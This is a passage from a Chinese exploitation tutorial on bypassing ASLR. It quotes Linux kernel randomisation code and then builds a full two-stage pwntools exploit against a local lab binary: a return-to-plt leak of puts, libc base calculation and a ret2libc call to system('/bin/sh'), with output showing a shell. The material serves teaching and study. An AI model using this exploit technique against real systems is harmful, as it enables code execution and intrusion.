    /* Do this so that we can load the interpreter, if need be.  We will
       change some of these later */
    retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),
                 executable_stack);
//...
    /* N.B. passed_fileno might not be initialized? */
    current->mm->end_code = end_code;
    current->mm->start_code = start_code;
    current->mm->start_data = start_data;
    current->mm->end_data = end_data;
    current->mm->start_stack = bprm->p;

    if ((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1)) {
        current->mm->brk = current->mm->start_brk =
            arch_randomize_brk(current->mm);
#ifdef compat_brk_randomized
        current->brk_randomized = 1;

基本上符合之前對randomize_va_space的介紹, 棧的初始化通過setup_arg_pages()
來實現; 啟用Full Randomization時, brk()函式的地址通過arch_randomize_brk()
來進行初始化.
一步步追蹤下去可以看到每個函式的具體實現, 關鍵的實現在/drivers/char/random.c
中的randomize_page()函式中:

/*
 * NOTE: Historical use of randomize_range, which this replaces, presumed that
 * @start was already page aligned.  We now align it regardless.
 *
 * Return: A page aligned address within [start, start + range).  On error,
 * @start is returned.
 */
unsigned long
randomize_page(unsigned long start, unsigned long range)
{
    if (!PAGE_ALIGNED(start)) {
        range -= PAGE_ALIGN(start) - start;
        start = PAGE_ALIGN(start);
    }

    if (start > ULONG_MAX - range)
        range = ULONG_MAX - start;

    range >>= PAGE_SHIFT;

    if (range == 0)
        return start;

    return start + (get_random_long() % range << PAGE_SHIFT);
}

通過傳入起始地址和範圍, 返回一個在改範圍內隨機的(且對其的)地址.
想詳細瞭解的同學可以參考0x00sec安全團隊ricksanchez同學的這篇文章.

繞過方法

爆破

ASLR的設計願景很美好, 但不是完美的. 尤其是在32位地址空間中, 其中一個
缺陷就是被記憶體碎片問題限制了ASLR的實現. 從前面的記憶體對映圖中可以看到,
地址空間被切分為幾個大塊, 其中留下了一些小空隙. 而程式或者動態庫載入入
記憶體時, 通常要求一定大小的連續空間, 這麼一來, 雖然地址可以隨機化,
但也只能在一個較小的範圍內操作.

ASLR的可靠性是建立在地址隨機且無法猜測的基礎上, 但較小的隨機範圍,
就可以通過暴力猜測有限的次數來獲得, 用術語來說就是, 熵太低. 通常32位系統
可提供隨機的地址空間也就只有16位, 通常可以在幾分鐘內爆破出來. 當然,
前提是程式不能在中途崩潰退出. 這個問題在64位系統下稍微有所緩解,
但也並不是絕對的.

洩露地址

繞過ASLR的方法, 其實和繞過Canary有點類似. 在程式的一次執行過程中,
地址空間的佈局只在被載入時隨機化一次, 所以在執行過程中, 先在第一階段
獲取實際的地址, 再第二階段構造相應的payload就可以實現上述的利用.

這裡還是以上節使用的victim_nx為例, 來說明如果在ASLR情況下利用.
再次看下執行時候的選項:

$ gdb ./victim_nx
(gdb) source ~/tools/peda/peda.py
gdb-peda$ aslr on 
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ aslr 
ASLR is ON

我們的計劃分為兩步, 第一步和之前繞過NX時Return-to-libc類似, 還記得之前讓大家
記住的那個地址嗎, 就是我們填充為BBBB的那個. 我們還是用類似的方法, 不過這次是
Return-to-plt, 第一輪攻擊後棧佈局如下:

...[22位元組]+[[email protected]]+[entry_point]+[[email protected]]

這樣的作用是呼叫[email protected], 其輸入引數為[email protected], 且呼叫結束後返回程式的入口點.

為什麼是puts? 因為這裡已知程式中用到puts函式(printf實際上呼叫了puts),
如果是新程式可以通過readelf --relocs ./victim_nx來檢視重定向.

之前都是用單行python來輸出payload, 這次由於有分步驟多次互動, 所以就寫一個
python指令碼來測試和利用, 為了方便用pwntools框架先寫個基本框架:

# exp.py
# -*- coding: utf-8 -*-
from pwn import *

# 地址
puts_plt = 0x8048350
puts_got = 0x804a010
entry_point = 0x8048390

def main():
    p = process('./victim_nx')
    # stage 1
    payload = 'A' * 22
    ropchain = p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)
    payload = payload + ropchain
    log.info('payload: {}'.format(repr(payload)))
    p.clean()
    p.sendline(payload)
    p.recvlines(1)  #先忽略掉正常輸出的一行
    leak = p.recv(4)
    leak = u32(leak)
    log.info('[email protected] is at: 0x{:x}'.format(leak))
    p.clean()

if __name__ == '__main__':
    main()

我們需要填入三個地址, 分別是[email protected], [email protected]和程式入口點entry_point.
如果禁用了位置無關(-no-pie)編譯, 可執行檔案本身還是會載入到絕對虛擬地址的:
檢視[email protected]的地址:

objdump -d -j .plt ./victim_nx | grep puts
08048350 <[email protected]>:

檢視[email protected]的地址:

readelf --relocs ./victim_nx | grep puts
0804a010  00000207 R_386_JUMP_SLOT   00000000   [email protected]_2.0

檢視起始地址:

$ readelf -h ./victim_nx | grep Entry
  Entry point address:               0x8048390

執行兩次看看:

$ python exp.py 
[+] Starting local process './victim_nx': pid 32682
[*] payload: 'AAAAAAAAAAAAAAAAAAAAAAP\x83\x04\x08\x90\x83\x04\x08\x10\xa0\x04\x08'
[*] puts is at: 0xf7558870
[*] Stopped process './victim_nx' (pid 32682)
$ python exp.py 
[+] Starting local process './victim_nx': pid 32689
[*] payload: 'AAAAAAAAAAAAAAAAAAAAAAP\x83\x04\x08\x90\x83\x04\x08\x10\xa0\x04\x08'
[*] puts is at: 0xf75b7870
[*] Stopped process './victim_nx' (pid 32689)

可以看到兩次輸出的puts地址都不一樣, 所以我們無法在執行前預測到這個地址.
第一階段完成了, 輸出了puts的地址並回到程式起點. 因為只是跳轉到程式起點
而不是重啟程式, 所以這次我們可以利用輸出的puts地址進行第二階段的利用.

第二階段

根據輸出的puts地址, 我們可以根據其想對於libc的偏移, 計算出libc基址,
然後根據libc基址, 獲得system函式和"/bin/sh"字串的地址, 最後跳轉執行.
第二階段的payload和普通的ret2libc差不多:

...[22位元組][system地址(返回地址)][4位元組]["/bin/sh"地址]

為此, 我們需要知道三者的偏移量, 這裡用radare2套件中的rabin2和rafind2:

$ rabin2 -s /lib/i386-linux-gnu/libc.so.6 | egrep 'puts|system'
435 0x0005f870 0x0005f870   WEAK   FUNC  509 puts
1461 0x0003ab30 0x0003ab30   WEAK   FUNC   55 system
$ rafind2 -z -s /bin/sh /lib/i386-linux-gnu/libc.so.6
0x15ce48

通過簡單的小學數學, 我們就能計算出想要的記憶體地址了, 加上第二階段payload如下:

# -*- coding: utf-8 -*-
from pwn import *

# 地址
puts_plt = 0x8048350
puts_got = 0x804a010
entry_point = 0x8048390

# 偏移
offset_puts = 0x0005f870
offset_system = 0x0003ab30
offset_str_bin_sh = 0x15ce48

def main():
    p = process('./victim_nx')
    # stage 1
    payload = 'A' * 22
    ropchain = p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)
    payload = payload + ropchain
    log.info('payload: {}'.format(repr(payload)))
    p.clean()
    p.sendline(payload)
    p.recvlines(1)  #先忽略掉正常輸出的一行
    leak = p.recv(4)
    leak = u32(leak)
    log.info('puts is at: 0x{:x}'.format(leak))
    p.clean()

    # stage 2
    libc_base = leak - offset_puts
    log.info('libc_base is at 0x{:x}'.format(libc_base))
    payload = 'A' * 22
    ropchain = p32(libc_base + offset_system)
    ropchain += 'BBBB'
    ropchain += p32(libc_base + offset_str_bin_sh)
    payload = payload + ropchain
    p.sendline(payload)
    log.success('Shell is comming!')
    p.clean()
    p.interactive()


if __name__ == '__main__':
    main()

讓我們執行一下看這個exploit的結果如何:

$ python exp.py 
[+] Starting local process './victim_nx': pid 593
[*] payload: 'AAAAAAAAAAAAAAAAAAAAAAP\x83\x04\x08\x90\x83\x04\x08\x10\xa0\x04\x08'
[*] puts is at: 0xf7618870
[*] libc_base is at 0xf75b9000
[+] Shell is comming!
[*] Switching to interactive mode
$ whoami
pan
$ uname -a
Linux debian 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux
$ exit  
[*] Got EOF while reading in interactive
[*] Process './victim_nx' stopped with exit code -11 (SIGSEGV) (pid 593)
[*] Got EOF while sending in interactive

完美地繞過了ASLR和NX的保護, 成功獲取shell! 這裡把shellcode執行後的返回地址設為'BBBB',
因為我們並不關心後續如何, 如果你想優雅退出程式的話, 將其改為exit函式的地址即可,
這個就留給同學們自己實現了:)

Windows

最後提下Windows系統. Windows Vista及其之後的版本支援在連結可執行檔案或DLL時啟用ASLR,
但對其他模組卻預設不啟用, 所以對於windows系統, 我們可以通過未啟用ASLR的模組來繞過該保護.

總結

本文從最初的棧溢位開始, 逐步介紹了緩衝溢位的緩解措施以及繞過方法. 值得注意的是,
每種漏洞緩解措施單獨來看都是脆弱的, 比如ASLR本身無法防止jmp esp執行shellcode,
而NX本身又很容易被ret2libc繞過. 很多漏洞緩解措施雖然各個作業系統實現不同,
但原理也是相通的. 所以只有分別瞭解其原理, 才能在漏洞利用中靈活地選取突破策略.

最後, 感謝RE4B群裡小夥伴們的熱心答疑, 特別是Larryxi大神, 總是能一針見血地指出
問題要害!

相關推薦

溢位漏洞利用緩解

一直有人說這個時代做滲透太難了, 各個平臺都開始重視安全性, 不像十幾年前, 隨便有個棧溢位就能輕鬆利用. 現在的環境對於新手而言確實不算友好, 上來就需要 面臨著各種邊界保護, 堆疊保護, 地址佈局隨機化. 但現實如此, 與其抱怨, 不如直面現實, 擁抱變化, 對吧? 本文所演示的環境為64位Linux

溢位漏洞原理及基本利用(ret2addr,ret2arg)

菜雞總結下,方便複習。 ret2addr和ret2arg這兩種利用手法在《黑手緩衝區溢位教程》裡有所提及。這兩種只是基本的利用手法,如果開啟了NX(堆疊程式碼不可執行)或者ASLR就無用武之地了,需要更高階的利用手法,例如ret2libc,ret2plt,和ROP等高階利用手法,這篇筆記

溢位漏洞利用小結(基礎)

shell 獲取小結  這裡總結幾種常見的獲取 shell 的方式: 執行 shellcode,這一方面也會有不同的情況 可以直接返回 shell 可以將 shell 返回到某一個埠 shellcode 中字元有時候需要滿足不同的需求

Kali學習筆記22:緩衝區溢位漏洞利用實驗

實驗機器: Kali虛擬機器一臺(192.168.163.133) Windows XP虛擬機器一臺(192.168.163.130) 如何用Kali虛擬機器一步一步“黑掉”這個windowsXP虛擬機器呢? 用到的軟體: SLmail程式(存在緩衝區溢位漏洞) ImmunityDebugger(除錯工具

cgctf when_did_you_born 溢位簡單利用

拿到題目,先checksec下,看下防護措施: 沒有開啟PIE。 直接放到IDA裡看下: 有些變數名為了方便看,我已經修改過了。圖中箭頭處即是溢位點。 分析下 第一次輸入overflowme,如果等於1926就會退出,但是想要拿到flag,就需要overflowme的值為1926,那就很

溢位漏洞溢位攻擊

1. 棧溢位的原因 棧溢位(stack-based buffer overflows)算是安全界常見的漏洞。一方面因為程式設計師的疏忽,使用了 strcpy、sprintf 等不安全的函式,增加了棧溢位漏洞的可能。另一方面,因為棧上儲存了函式的返回地址等資訊,因此如果攻擊

WindowsXP CCProxy緩衝區溢位漏洞利用小白教程

真的很小白 ,從安裝虛擬機器開始附一張高清版mr.buffoon的流程圖1. 環境配置我用的是virtualbox,百度搜索從官網下就好了。然後從這裡下載Windows XP sp3,然後就是新建一個虛擬機器,安裝上下載的系統。裝Windowsxp的時候遇到一個hyper-v

CVE-2017-7269淺析-IIS6.0溢位漏洞

本文轉載自 CVE-2017-7269:IIS6.0遠端程式碼執行漏洞原理分析 CVE-2017-7269:IIS6.0遠端程式碼執行漏洞分析及Exploit vmware安裝Windows Server 2003 R2 Enterprise Editio

簡單嘗試利用維控LeviStudioU的一緩衝區溢位漏洞

  這是別人給我發的,讓我分析一下,看能否寫出exp。只怪自己水平不夠,最後沒能寫出exp,以下為自己的分析思路   環境為win10 pro x64 英文版(10.0.16299) 預設安全配置 一、漏洞分析   此漏洞是由於LeviStudioU在處理.G_Picture.xml檔案的szFilenam

20155306 白皎 0day漏洞——漏洞利用原理之溢出利用

put strong 3.2 base 十六進制 格式 correct 3.5 3.1 20155306 白皎 0day漏洞——漏洞利用原理之棧溢出利用 一、系統棧的工作原理 1.1內存的用途 根據不同的操作系統,一個進程可能被分配到不同的內存區域去執行。但是不管什麽樣的操

Android內核漏洞利用技術實戰:環境搭建&溢出實戰

fin vmlinux ant eas turn git static gin qemu 前言 Android的內核采用的是 Linux 內核,所以在Android內核中進行漏洞利用其實和在 一般的 x86平臺下的 linux 內核中進行利用差不多。主要區別在於 Andro

Rsync未授權訪問漏洞利用防禦

fas 分享圖片 敏感信息泄露 syn name src com 敏感信息 驗證 首先Rsync未授權訪問利用 該漏洞最大的隱患在於寫權限的開啟,一旦開啟了寫權限,用戶就可以,用戶就可以利用該權限寫馬或者寫一句話,從而拿到shell。 我們具體來看配置文件的網相關選項(

CVE-2017-8890漏洞分析利用-概覽篇

本文永久連結:https://thinkycx.me/posts/2018-10-30-a-glance-at-CVE-2017-8890.html 最近在忙開題的事情,期間和同學聊了一下這個漏洞,想起來之前寫過一篇概覽的介紹,因此發出來給有需要的同學參考一下,後續可能還會再整理幾篇文章。這

0day安全:軟體漏洞分析技術 第二章 溢位原理及實踐

_stdcall呼叫約定下,函式呼叫時用到的指令序列大致如下:push 引數3push 引數2push 引數1call 函式地址;a)向棧中壓入當前指令在記憶體中的位置,即儲存儲存返回地址。b)跳轉到所呼叫函式的入口push ebp 儲存舊棧幀的底部mov ebp,esp 設定新棧幀的底部(棧幀切換)sub

linux漏洞分析入門筆記-溢位

ida7.0 ubuntu16.04 lts 0x00:環境配置 使用IDA遠端除錯Linux程式步驟如下: 1. 在進行遠端除錯之前需要對Linux平臺進行一些準備工作。在IDA的安裝目錄中的dbgsrv資料夾中,選擇linux_server或者linux_serverx64複製到需要除錯Linux

漏洞分析】Adobe AcrobatReader整數溢位漏洞(CVE-2012-0774)

0x00 前言 總體來說坑不多,但是對於windbg沒有watchpoint功能這一點,真的是很坑。 0x01 簡介 Adobe Acrobat和Reader在True Type Font (TTF)處理的實現上存在整數溢位漏洞,攻擊者可利用此漏洞執行任意程式碼。 受影響軟體

利用模板實現簡單的類(陣列單鏈表)

主要的功能是實現一個後進先出的列表,有入棧、出棧、返回大小、判空等基本功能 #pragma once using namespace std; const int MAXSIZE = 0xfff;

pwntw start writeup 溢位利用自身程式碼

這題利用了棧溢位,將返回地址覆蓋為程式本身地址,造成記憶體洩露。 有個坑是如果你用gdb peda自帶的checksec檢查防護措施會發現NX是開啟的,那麼堆疊處的程式碼無法執行,就無法構造棧裡的shellcode,file下 發現程式是靜態連結的,那就無法利用ret2libc。想了半

死磕JVM-如何構造JVM記憶體溢位溢位

為什麼要寫這個題目?我記得我在面試阿里的時候面試官問了我這個問題,當時沒能答得很好,只說了些概念的東西,很是心虛,於是下定決心要把這個問題搞懂,現在終於把這個問題懟清楚了,分享給大家,希望你們以後面試問到這種問題能有所準備。 Java虛擬機器中描述了兩種異常: 1、如果執

如何利用迴圈代替遞迴以防止溢位(譯)

摘要:我們經常會用到遞迴函式,但是如果遞迴深度太大時,往往導致棧溢位。而遞迴深度往往不太容易把握,所以比較安全一點的做法就是:用迴圈代替遞迴。文章最後的原文裡面講了如何用10步實現這個過程,相當精彩。本文翻譯了這篇文章,並加了自己的一點註釋和理解。 目錄  簡介